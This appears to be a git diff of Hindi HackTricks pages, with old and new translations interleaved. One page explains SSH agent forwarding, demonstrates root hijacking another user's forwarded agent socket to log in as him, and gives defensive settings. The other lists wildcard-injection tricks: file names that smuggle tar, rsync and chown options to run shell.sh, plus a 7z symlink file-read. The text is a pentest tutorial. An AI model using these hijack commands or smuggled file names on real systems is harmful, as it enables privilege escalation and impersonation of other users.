बिना पासवर्ड के SSH, Unix-जैसे ऑपरेटिंग सिस्टम के साथ जीवन को आसान बना देता है। अगर आपके नेटवर्क में चेन किए गए ssh सत्र (एक सीमित नेटवर्क तक पहुंच के लिए, उदाहरण के लिए) की आवश्यकता होती है, तो एजेंट फॉरवर्डिंग बहुत मददगार होता है। एजेंट फॉरवर्डिंग के साथ, मैं अपने लैपटॉप से अपने डेव सर्वर के साथ कनेक्ट कर सकता हूँ और वहाँ से एक और सर्वर से svn checkout चला सकता हूँ, सब बिना पासवर्ड के, जबकि मेरी निजी कुंजी मेरे स्थानीय कार्यस्थल पर सुरक्षित रहती है।
|
||||
Unix जैसे ऑपरेटिंग सिस्टम्स के साथ जीवन बिना पासवर्ड के SSH के साथ बहुत आसान हो जाता है। अगर आपके नेटवर्क को श्रृंखलित SSH सत्रों की आवश्यकता है (एक प्रतिबंधित नेटवर्क तक पहुंचने के लिए, उदाहरण के लिए), तो एजेंट फॉरवर्डिंग बेहद मददगार होती है। एजेंट फॉरवर्डिंग के साथ मैं अपने लैपटॉप से मेरे डेव सर्वर तक कनेक्ट कर सकता हूं और वहां से एक और सर्वर से SVN चेकआउट चला सकता हूं, सभी बिना पासवर्ड के, जबकि मेरी प्राइवेट की मेरे स्थानीय वर्कस्टेशन पर सुरक्षित रहती है।
|
||||
|
||||
यह खतरनाक हो सकता है, हालांकि। एक त्वरित वेब सर्च आपको यह दिखा सकती है कि यह केवल तब सुरक्षित है जब बीच के होस्ट विश्वसनीय होते हैं। हालांकि, बहुत कम बार आपको यह व्याख्या मिलेगी कि यह क्यों खतरनाक है।
|
||||
हालांकि, यह खतरनाक भी हो सकता है। एक त्वरित वेब सर्च से कई लेख मिलेंगे जो इंगित करते हैं कि यह केवल तभी सुरक्षित है जब मध्यवर्ती होस्ट विश्वसनीय हों। दुर्लभता से, हालांकि, आपको यह समझाने वाला विवरण मिलेगा कि _क्यों_ यह खतरनाक है।
|
||||
|
||||
यही इस लेख का उद्देश्य है। लेकिन पहले, कुछ पृष्ठभूमि।
|
||||
यही इस लेख के लिए है। लेकिन पहले, कुछ पृष्ठभूमि।
|
||||
|
||||
## **पासवर्डलेस प्रमाणीकरण कैसे काम करता है**
|
||||
## **कैसे पासवर्डलेस प्रमाणीकरण काम करता है**
|
||||
|
||||
साधारित मोड में प्रमाणीकरण करते समय, SSH आपके पासवर्ड का उपयोग करता है ताकि आप वहीं हैं जो आप कहते हैं। सर्वर इस पासवर्ड की सुरक्षा के लिए उपयोग की गई एक हैश को एक फ़ाइल में रखे हुए हैश के साथ तुलना करता है, सत्यापित करता है कि हैश मेल खाते हैं, और आपको अंदर लेता है।
|
||||
सामान्य मोड में प्रमाणीकरण करते समय, SSH आपके पासवर्ड का इस्तेमाल करता है यह साबित करने के लिए कि आप वही हैं जो आप कहते हैं। सर्वर इस पासवर्ड के हैश की तुलना उसके पास मौजूद हैश से करता है, हैश की पुष्टि करता है, और आपको अंदर आने देता है।
|
||||
|
||||
यदि कोई हमलावर सर्वर को भेजे जा रहे आपके पासवर्ड की सुरक्षा को तोड़ने के लिए उपयोग की जाने वाली एन्क्रिप्शन को तोड़ देता है, तो वह इसे चुरा सकता है और जब चाहें तब आपके रूप में लॉग इन कर सकता है। यदि कोई हमलावर सैंडबॉक्स करने की अनुमति देता है, तो वह अंततः आपके पासवर्ड को अनुमान लगाने के लिए लाखों प्रयास कर सकता है।
|
||||
अगर हमलावर आपके पासवर्ड को सुरक्षित करने के लिए इस्तेमाल किए गए एनक्रिप्शन को तोड़ने में सक्षम होता है, जबकि यह सर्वर को भेजा जा रहा होता है, तो वे इसे चुरा सकते हैं और जब चाहें आपके रूप में लॉग इन कर सकते हैं। अगर हमलावर को सैकड़ों हजारों प्रयास करने की अनुमति दी जाती है, तो वे अंततः आपके पासवर्ड का अनुमान लगा सकते हैं।
|
||||
|
||||
एक बहुत सुरक्षित प्रमाणीकरण विधि है [सार्वजनिक कुंजी प्रमाणीकरण](http://www.ibm.com/developerworks/library/l-keyc/index.html), जो एक पासवर्ड के बिना लॉग इन करने का एक तरीका है। सार्वजनिक कुंजी प्रमाणीकरण के लिए एक मिलती जुलती जोड़ी की आवश्यकता होती है। सार्वजनिक कुंजी संदेशों को एन्क्रिप्ट करती है जो केवल निजी कुंजी के साथ ही डिक्रिप्ट किए जा सकते हैं। दूरस्थ कंप्यूटर आपकी सार्वजनिक कुंजी की कॉपी का उपयोग करके आपको एक गुप्त संदेश एन्क्रिप्ट करता है। आप अपनी निजी कुंजी का उपयोग करके संदेश को डिक्रिप्ट करके दूरस्थ कंप्यूटर को भेजकर आप खुद को साबित करते हैं। आपकी निजी कुंजी पूरी तरह से सुरक्षित रहती है और हमले से बची रहती है।
|
||||
एक बहुत सुरक्षित प्रमाणीकरण विधि है [पब्लिक की प्रमाणीकरण](http://www.ibm.com/developerworks/library/l-keyc/index.html), एक तरीका बिना पासवर्ड के लॉग इन करने का। पब्लिक की प्रमाणीकरण के लिए एक मिलान किए गए जोड़े की पब्लिक और प्राइवेट कीज़ की आवश्यकता होती है। पब्लिक की संदेशों को एनक्रिप्ट करती है जिन्हें केवल प्राइवेट की के साथ डिक्रिप्ट किया जा सकता है। दूरस्थ कंप्यूटर आपको एक गुप्त संदेश भेजने के लिए आपकी पब्लिक की की प्रति का इस्तेमाल करता है। आप यह साबित करते हैं कि आप आप हैं अपनी प्राइवेट की का इस्तेमाल करके संदेश को डिक्रिप्ट करके और संदेश को वापस दूरस्थ कंप्यूटर को भेजकर। आपकी प्राइवेट की पूरे समय आपके स्थानीय कंप्यूटर पर सुरक्षित रहती है, हमले से सुरक्षित।
|
||||
|
||||
निजी कुंजी मूल्यवान होती है और सुरक्षित रखी जानी चाहिए, इसलिए डिफ़ॉल्ट रूप से इसे एक एन्क्रिप्टेड प्रारूप में संग्रहीत किया जाता है। दुर्भाग्य से इसका मतलब है कि इसे उपयोग करने से पहले आपको अपने एन्क्रिप्शन पासवर्ड दर्ज करना पड़ता है। कई लेख इस असुविधा से बचने के लिए पासवर्ड-र
|
||||
प्राइवेट की मूल्यवान होती है और इसे सुरक्षित रखना चाहिए, इसलिए डिफ़ॉल्ट रूप से यह एनक्रिप्टेड फॉर्मेट में स्टोर की जाती है। दुर्भाग्यवश इसका मतलब है कि इसका इस्तेमाल करने से पहले आपको अपने एनक्रिप्शन पासफ्रेज़ दर्ज करना होगा। कई लेख सुझाव देते हैं कि इस असुविधा से बचने के लिए पासफ्रेज़-लेस (अनएनक्रिप्टेड) प्राइवेट कीज़ का इस्तेमाल करें। यह एक बुरा विचार है, क्योंकि अब आपके वर्कस्टेशन तक पहुंच वाला कोई भी (भौतिक पहुंच, चोरी, या हैकरी के माध्यम से) आपकी पब्लिक की के साथ कॉन्फ़िगर किए गए किसी भी कंप्यूटर तक मुफ्त पहुंच भी प्राप्त कर सकता है।
|
||||
|
||||
OpenSSH में [ssh-agent](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent) शामिल है, एक डेमन जो आपके स्थानीय वर्कस्टेशन पर चलता है। यह आपकी प्राइवेट की की एक डिक्रिप्टेड कॉपी को मेमोरी में लोड करता है, ताकि आपको अपना पासफ्रेज़ केवल एक बार दर्ज करना पड़े। फिर यह एक स्थानीय [सॉकेट](http://en.wikipedia.org/wiki/Unix\_domain\_socket) प्रदान करता है जिसका इस्तेमाल SSH क्लाइंट इससे दूरस्थ सर्वर द्वारा भेजे गए एनक्रिप्टेड संदेश को डिक्रिप्ट करने के लिए कर सकता है। आपकी प्राइवेट की ssh-agent प्रक्रिया की मेमोरी में सुरक्षित रहती है जबकि फिर भी आपको पासवर्ड टाइप किए बिना SSH करने की अनुमति देती है।
|
||||
|
||||
## **ForwardAgent कैसे काम करता है**
|
||||
|
||||
कई कार्यों के लिए "श्रृंखलित" SSH सत्रों की आवश्यकता होती है। मेरे पहले के उदाहरण पर विचार करें: मैं अपने वर्कस्टेशन से डेव सर्वर तक SSH करता हूं। वहां, मुझे एक SVN अपडेट करने की आवश्यकता है, "svn+ssh" प्रोटोकॉल का उपयोग करते हुए। चूंकि यह मूर्खतापूर्ण होगा कि मेरी सुपर-सीक्रेट प्राइवेट की की एक अनएनक्रिप्टेड कॉपी को एक साझा सर्वर पर छोड़ दिया जाए, मैं अब पासवर्ड प्रमाणीकरण के साथ फंस गया हूं। हालांकि, अगर मैंने अपने वर्कस्टेशन पर SSH कॉन्फ़िग में "ForwardAgent" सक्षम किया है, तो SSH अपनी बिल्ट-इन टनलिंग क्षमताओं का
|
||||
```
|
||||
mylaptop:~ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
||||
|
@ -63,24 +67,24 @@ SSH_AUTH_SOCK=/tmp/launch-oQKpeY/Listeners
|
|||
mylaptop:~ ls -l /tmp/launch-oQKpeY/Listeners
|
||||
srwx------ 1 alice wheel 0 Apr 3 11:04 /tmp/launch-oQKpeY/Listeners
|
||||
```
|
||||
[ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) कार्यक्रम हमें एजेंट में कुंजियों को देखने और संवाद करने की अनुमति देता है:
|
||||
[ssh-add](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add) कार्यक्रम हमें एजेंट में कुंजियों को देखने और उनके साथ बातचीत करने देता है:
|
||||
```
|
||||
mylaptop:~ alice$ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
मेरे लैपटॉप में \~/.ssh/config में "ForwardAgent yes" है। इसलिए ssh एक टनल बनाएगा जो स्थानीय सॉकेट को रिमोट सर्वर पर स्थानीय सॉकेट से जोड़ेगा:
|
||||
मेरे लैपटॉप पर \~/.ssh/config में "ForwardAgent yes" है। इसलिए ssh एक टनल बनाएगा जो लोकल सॉकेट को रिमोट सर्वर पर एक लोकल सॉकेट से जोड़ेगा:
|
||||
```
|
||||
mylaptop:~ alice$ ssh seattle
|
||||
|
||||
seattle:~ $ env|grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-WsKcHa9990/agent.9990
|
||||
```
|
||||
यद्यपि मेरी कुंजी "सिएटल" पर स्थापित नहीं हैं, फिर भी ssh क्लाइंट प्रोग्राम मेरे स्थानीय मशीन पर चल रहे एजेंट तक पहुंच सकते हैं:
|
||||
भले ही मेरी कुंजियाँ "seattle" पर स्थापित नहीं हैं, ssh क्लाइंट प्रोग्राम अभी भी मेरी स्थानीय मशीन पर चल रहे एजेंट तक पहुँच सकते हैं:
|
||||
```
|
||||
seattle:~ alice $ ssh-add -l
|
||||
2048 2c:2a:d6:09:bb:55:b3:ca:0c:f1:30:f9:d9:a3:c6:9e /Users/alice/.ssh/id_rsa (RSA)
|
||||
```
|
||||
तो... हम किसके साथ उछल सकते हैं?
|
||||
तो... हम किसके साथ छेड़छाड़ कर सकते हैं?
|
||||
```
|
||||
seattle:~ alice $ who
|
||||
alice pts/0 2012-04-06 18:24 (office.example.com)
|
||||
|
@ -92,7 +96,7 @@ charlie pts/23 2012-04-06 13:10 (office.example.com)
|
|||
charlie pts/27 2012-04-03 12:32 (office.example.com)
|
||||
bob pts/29 2012-04-02 10:58 (office.example.com)
|
||||
```
|
||||
मुझे कभी से भी बॉब पसंद नहीं था। उसके एजेंट कनेक्शन को ढूंढ़ने के लिए, मुझे उसके ssh सत्रों में से एक के बच्चा प्रक्रिया को ढूंढ़नी होगी:
|
||||
मुझे बॉब कभी पसंद नहीं आया। उसके एजेंट कनेक्शन को ढूँढने के लिए, मुझे उसके ssh सत्रों में से एक की चाइल्ड प्रोसेस को खोजना होगा:
|
||||
```
|
||||
seattle:~ alice $ sudo -s
|
||||
[sudo] password for alice:
|
||||
|
@ -102,29 +106,31 @@ sshd(16816)───bash(16817)
|
|||
|
||||
sshd(25296)───bash(25297)───vim(14308)
|
||||
```
|
||||
एक चल रहे प्रक्रिया के पर्यावरण को रूट को देखने के लिए कई तरीके हैं। Linux पर, डेटा /proc/\<pid>/environ में उपलब्ध होता है। क्योंकि यह NULL-terminated स्ट्रिंग में संग्रहीत होता है, मैं NULLs को नए लाइन में बदलने के लिए tr का उपयोग करूंगा:
|
||||
कई तरीके हैं जिनसे root एक चल रही प्रक्रिया के वातावरण को देख सकता है। Linux पर, डेटा /proc/\<pid>/environ में उपलब्ध है। चूंकि यह NULL-terminated स्ट्रिंग्स में संग्रहीत होता है, मैं tr का उपयोग करके NULLs को नई पंक्तियों में बदलूंगा:
|
||||
```
|
||||
seattle:~ root # tr '' 'n' < /proc/16817/environ | grep SSH_AUTH_SOCK
|
||||
SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816
|
||||
```
|
||||
मुझे अब बॉब के ssh-agent को हाइजैक करने के लिए जो भी जानकारी चाहिए है, वह सब मेरे पास है:
|
||||
मेरे पास अब बॉब के ssh-agent को हाईजैक करने के लिए जरूरी सभी जानकारी है:
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh-add -l
|
||||
2048 05:f1:12:f2:e6:ad:cb:0b:60:e3:92:fa:c3:62:19:17 /home/bob/.ssh/id_rsa (RSA)
|
||||
```
|
||||
यदि मेरे पास एक विशिष्ट लक्ष्य हो, तो मुझे अब सीधे कनेक्ट करने की क्षमता होनी चाहिए। अन्यथा, प्रक्रिया सूची को देखना या बॉब के इतिहास फ़ाइल में ग्रेप करना बहुत सारे अवसरों को प्रस्तुत करेगा। इस मामले में, मुझे पता है कि बॉब के पास सर्वर "बोस्टन" में सुपर गुप्त फ़ाइलें संग्रहित हैं:
|
||||
```markdown
|
||||
यदि मेरे पास कोई विशेष लक्ष्य है, तो मुझे अब सीधे जुड़ने में सक्षम होना चाहिए। अन्यथा, केवल प्रक्रिया सूची को देखना या बॉब की हिस्ट्री फाइल के माध्यम से grepping करना अवसर के कई लक्ष्य प्रस्तुत करना चाहिए। इस मामले में, मुझे पता है कि बॉब ने “boston” नामक सर्वर पर सभी प्रकार की अति गुप्त फाइलें संग्रहीत की हैं:
|
||||
```
|
||||
```
|
||||
seattle:~ root # SSH_AUTH_SOCK=/tmp/ssh-haqzR16816/agent.16816 ssh bob@boston
|
||||
bob@boston:~$ whoami
|
||||
bob
|
||||
```
|
||||
मैंने "सियाटल" पर अपनी रूट प्रिविलेज का उपयोग करके "बोस्टन" पर बॉब के रूप में पहुंचने का सफलतापूर्वक उपयोग किया है। मुझे विश्वास है कि मैं उसे नौकरी से निकालने के लिए इसका उपयोग कर सकता हूं।
|
||||
मैंने "सिएटल" पर अपने रूट विशेषाधिकारों का उपयोग करके "बोस्टन" पर बॉब के रूप में पहुँच सफलतापूर्वक प्राप्त की है। मुझे यकीन है कि मैं इसका उपयोग करके उसे नौकरी से निकाल सकता हूँ।
|
||||
|
||||
## **अपने आप को सुरक्षित रखें!**
|
||||
## **अपनी सुरक्षा करें!**
|
||||
|
||||
अपने ssh-agent को अपारित समय तक अपनी कुंजीयों को संग्रहित न करने दें। OS X पर, अपने Keychain को निष्क्रियता के बाद या जब आपकी स्क्रीन लॉक हो जाए, लॉक करने के लिए इसे कॉन्फ़िगर करें। अन्य Unix-y प्लेटफ़ॉर्म पर, ssh-agent को -t विकल्प के साथ पास करें ताकि इसकी कुंजीयों को सेकंड के बाद हटा दिया जाए।
|
||||
अपने ssh-agent को अनिश्चितकाल के लिए आपकी कुंजियों को संग्रहीत न होने दें। OS X पर, अपने Keychain को निष्क्रियता के बाद या जब आपकी स्क्रीन लॉक हो तो लॉक करने के लिए कॉन्फ़िगर करें। अन्य Unix-युक्त प्लेटफार्मों पर, ssh-agent को -t विकल्प के साथ पास करें ताकि इसकी कुंजियाँ सेकंड के बाद हटा दी जाएंगी।
|
||||
|
||||
अविश्वसनीय होस्ट्स से कनेक्ट करते समय एजेंट फ़ॉरवर्डिंग को सक्षम न करें। भाग्यशाली रूप से, \~/.ssh/config सिंटैक्स इसे बहुत सरल बनाता है:
|
||||
अविश्वसनीय होस्ट्स से जुड़ते समय एजेंट फॉरवर्डिंग को सक्षम न करें। सौभाग्य से, \~/.ssh/config सिंटैक्स इसे काफी सरल बनाता है:
|
||||
```
|
||||
Host trustworthyhost
|
||||
ForwardAgent yes
|
||||
|
@ -134,26 +140,24 @@ ForwardAgent yes
|
|||
Host *
|
||||
ForwardAgent no
|
||||
```
|
||||
## **सुझावित पठनीय सामग्री**
|
||||
## **अनुशंसित पठन**
|
||||
|
||||
* [OpenSSH की प्रबंधन](http://www.ibm.com/developerworks/library/l-keyc/index.html) - डेनियल रॉबिन्स
|
||||
* [SSH एजेंट फॉरवर्डिंग के लिए एक चित्रित गाइड](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) - स्टीव फ्रीडल
|
||||
* [OpenSSH कुंजी प्रबंधन](http://www.ibm.com/developerworks/library/l-keyc/index.html) – डैनियल रॉबिन्स
|
||||
* [SSH एजेंट फॉरवर्डिंग के लिए चित्रित मार्गदर्शिका](http://www.unixwiz.net/techtips/ssh-agent-forwarding.html) – स्टीव फ्रीडल
|
||||
* [ssh-agent मैनुअल](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-agent)
|
||||
* [ssh-add मैनुअल](http://www.openbsd.org/cgi-bin/man.cgi?query=ssh-add)
|
||||
|
||||
|
||||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से नायक तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी कंपनी को **HackTricks में विज्ञापित** देखना चाहते हैं? या क्या आप **PEASS के नवीनतम संस्करण का उपयोग करना चाहते हैं या HackTricks को PDF में डाउनलोड करना चाहते हैं**? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष [**NFT संग्रह**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS और HackTricks स्वैग**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**डिस्कॉर्ड समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) या मुझे **ट्विटर** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें**.
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें**, तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग**](https://peass.creator-spring.com) प्राप्त करें
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा संग्रह विशेष [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* 💬 [**Discord समूह**](https://discord.gg/hRep4RUj7f) में **शामिल हों** या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **HackTricks** के [**github repos**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) में PRs सबमिट करके अपनी हैकिंग ट्रिक्स साझा करें.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -1,42 +1,40 @@
|
|||
<details>
|
||||
|
||||
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
|
||||
<summary><strong>AWS हैकिंग सीखें शून्य से लेकर हीरो तक</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong> के साथ!</strong></summary>
|
||||
|
||||
- क्या आप किसी **साइबर सुरक्षा कंपनी** में काम करते हैं? क्या आप अपनी **कंपनी को HackTricks में विज्ञापित करना चाहते हैं**? या क्या आपको **PEASS के नवीनतम संस्करण या HackTricks को PDF में डाउनलोड करने का उपयोग** करने की आवश्यकता है? [**सदस्यता योजनाएं**](https://github.com/sponsors/carlospolop) की जांच करें!
|
||||
HackTricks का समर्थन करने के अन्य तरीके:
|
||||
|
||||
- खोजें [**The PEASS Family**](https://opensea.io/collection/the-peass-family), हमारा विशेष संग्रह [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
|
||||
- प्राप्त करें [**आधिकारिक PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
|
||||
- **शामिल हों** [**💬**](https://emojipedia.org/speech-balloon/) [**Discord समूह**](https://discord.gg/hRep4RUj7f) या [**टेलीग्राम समूह**](https://t.me/peass) में या मुझे **Twitter** पर **फ़ॉलो** करें [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
|
||||
- **अपने हैकिंग ट्रिक्स को [hacktricks रेपो](https://github.com/carlospolop/hacktricks) और [hacktricks-cloud रेपो](https://github.com/carlospolop/hacktricks-cloud) में पीआर जमा करके साझा करें।**
|
||||
* यदि आप चाहते हैं कि आपकी **कंपनी का विज्ञापन HackTricks में दिखाई दे** या **HackTricks को PDF में डाउनलोड करें** तो [**सब्सक्रिप्शन प्लान्स**](https://github.com/sponsors/carlospolop) देखें!
|
||||
* [**आधिकारिक PEASS & HackTricks स्वैग प्राप्त करें**](https://peass.creator-spring.com)
|
||||
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) की खोज करें, हमारा विशेष [**NFTs**](https://opensea.io/collection/the-peass-family) संग्रह
|
||||
* 💬 [**Discord समूह में शामिल हों**](https://discord.gg/hRep4RUj7f) या [**telegram समूह**](https://t.me/peass) या **Twitter** 🐦 पर मुझे **फॉलो** करें [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **अपनी हैकिंग तरकीबें साझा करें, HackTricks** [**HackTricks**](https://github.com/carlospolop/hacktricks) और [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos में PRs सबमिट करके.
|
||||
|
||||
</details>
|
||||
|
||||
|
||||
## chown, chmod
|
||||
|
||||
आप **बाकी फ़ाइलों के लिए किस फ़ाइल मालिक और अनुमतियाँ कॉपी करना चाहते हैं** इसे दर्शा सकते हैं
|
||||
आप **यह निर्दिष्ट कर सकते हैं कि आप बाकी फाइलों के लिए किस फाइल मालिक और अनुमतियों की प्रतिलिपि बनाना चाहते हैं**
|
||||
```bash
|
||||
touch "--reference=/my/own/path/filename"
|
||||
```
|
||||
आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) का उपयोग करके शोषण कर सकते हैं _(संयुक्त हमला)_\
|
||||
__[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) में अधिक जानकारी__
|
||||
आप इसका उपयोग कर सकते हैं [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(संयुक्त हमला)_\
|
||||
__अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## टार
|
||||
## Tar
|
||||
|
||||
**अनियमित आदेशों को निष्पादित करें:**
|
||||
**मनमाने कमांड्स को निष्पादित करें:**
|
||||
```bash
|
||||
touch "--checkpoint=1"
|
||||
touch "--checkpoint-action=exec=sh shell.sh"
|
||||
```
|
||||
आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) का उपयोग करके शोषण कर सकते हैं _(tar हमला)_\
|
||||
__[https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) में अधिक जानकारी दी गई हैं।
|
||||
आप इसका उपयोग कर सकते हैं [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(tar attack)_\
|
||||
__अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## Rsync
|
||||
|
||||
**विचित्र आदेशों को निष्पादित करें:**
|
||||
**मनमाने कमांड्स निष्पादित करें:**
|
||||
```bash
|
||||
Interesting rsync option from manual:
|
||||
|
||||
|
@ -47,46 +45,41 @@ Interesting rsync option from manual:
|
|||
```bash
|
||||
touch "-e sh shell.sh"
|
||||
```
|
||||
आप इसे [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) का उपयोग करके शोषण कर सकते हैं _(_rsync _attack)_\
|
||||
__अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930) पर जाएं
|
||||
आप इसका उपयोग कर सकते हैं [https://github.com/localh0t/wildpwn/blob/master/wildpwn.py](https://github.com/localh0t/wildpwn/blob/master/wildpwn.py) _(rsync हमला)_
|
||||
__अधिक जानकारी के लिए [https://www.exploit-db.com/papers/33930](https://www.exploit-db.com/papers/33930)
|
||||
|
||||
## 7z
|
||||
|
||||
**7z** में `--` के पहले `*` का उपयोग करते हुए (ध्यान दें कि `--` का अर्थ है कि आगामी इनपुट को पैरामीटर के रूप में नहीं लिया जा सकता है, इसलिए इस मामले में केवल फ़ाइल पथ होते हैं) आप एक अनियमित त्रुटि को पढ़ने के लिए उत्पन्न कर सकते हैं, इसलिए यदि रूट द्वारा निम्नलिखित प्रकार का एक कमांड निष्पादित किया जा रहा है:
|
||||
**7z** में भी `--` का उपयोग करते हुए `*` से पहले (नोट करें कि `--` का मतलब है कि आगे का इनपुट पैरामीटर्स के रूप में नहीं माना जा सकता, इसलिए इस मामले में केवल फाइल पथ) आप एक मनमानी त्रुटि पैदा कर सकते हैं जिससे फाइल पढ़ी जा सकती है, इसलिए अगर निम्नलिखित जैसा कमांड root द्वारा निष्पादित किया जा रहा है:
|
||||
```bash
|
||||
7za a /backup/$filename.zip -t7z -snl -p$pass -- *
|
||||
```
|
||||
और आप इस फ़ोल्डर में फ़ाइलें बना सकते हैं जहां यह निष्पादित किया जा रहा है, आप `@root.txt` नामक फ़ाइल और `root.txt` नामक फ़ाइल बना सकते हैं, जो आपको पढ़ना चाहते हैं वह फ़ाइल के लिए एक **symlink** होगी:
|
||||
और यदि आप उस फ़ोल्डर में फाइलें बना सकते हैं जहां यह निष्पादित किया जा रहा है, तो आप `@root.txt` नामक फाइल बना सकते हैं और `root.txt` फाइल को उस फाइल के लिए एक **symlink** के रूप में बना सकते हैं जिसे आप पढ़ना चाहते हैं:
|
||||
```bash
|
||||
cd /path/to/7z/acting/folder
|
||||
touch @root.txt
|
||||
ln -s /file/you/want/to/read root.txt
|
||||
```
|
||||
तब, जब **7z** को चलाया जाएगा, तो यह `root.txt` को एक फ़ाइल के रूप में देखेगा जिसमें यह सूची होगी कि वह कौन सी फ़ाइलें संपीड़ित करनी चाहिए (यही बात `@root.txt` की मौजूदगी दर्शाती है) और जब 7z `root.txt` को पढ़ेगा तो यह `/file/you/want/to/read` को पढ़ेगा और **क्योंकि इस फ़ाइल की सामग्री फ़ाइलों की एक सूची नहीं है, इसलिए यह त्रुटि दिखाएगा** और सामग्री दिखाएगा।
|
||||
फिर, जब **7z** निष्पादित होता है, तो यह `root.txt` को एक फ़ाइल के रूप में मानेगा जिसमें उस सूची की सूची होती है जिसे उसे संपीड़ित करना चाहिए (यही `@root.txt` के अस्तित्व का संकेत है) और जब यह 7z `root.txt` को पढ़ता है, तो यह `/file/you/want/to/read` को पढ़ेगा और **चूंकि इस फ़ाइल की सामग्री फ़ाइलों की सूची नहीं है, यह एक त्रुटि फेंक देगा** जिससे सामग्री दिखाई देगी।
|
||||
|
||||
_अधिक जानकारी HackTheBox के CTF बॉक्स के Write-ups में।_
|
||||
_बॉक्स CTF से Write-ups की अधिक जानकारी के लिए HackTheBox देखें।_
|
||||
|
||||
## Zip
|
||||
|
||||
**क्रमिक आदेश द्वारा आपातकालीन कमांडों को चलाएं:**
|
||||
**मनमाने आदेश निष्पादित करें:**
|
||||
```bash
|
||||
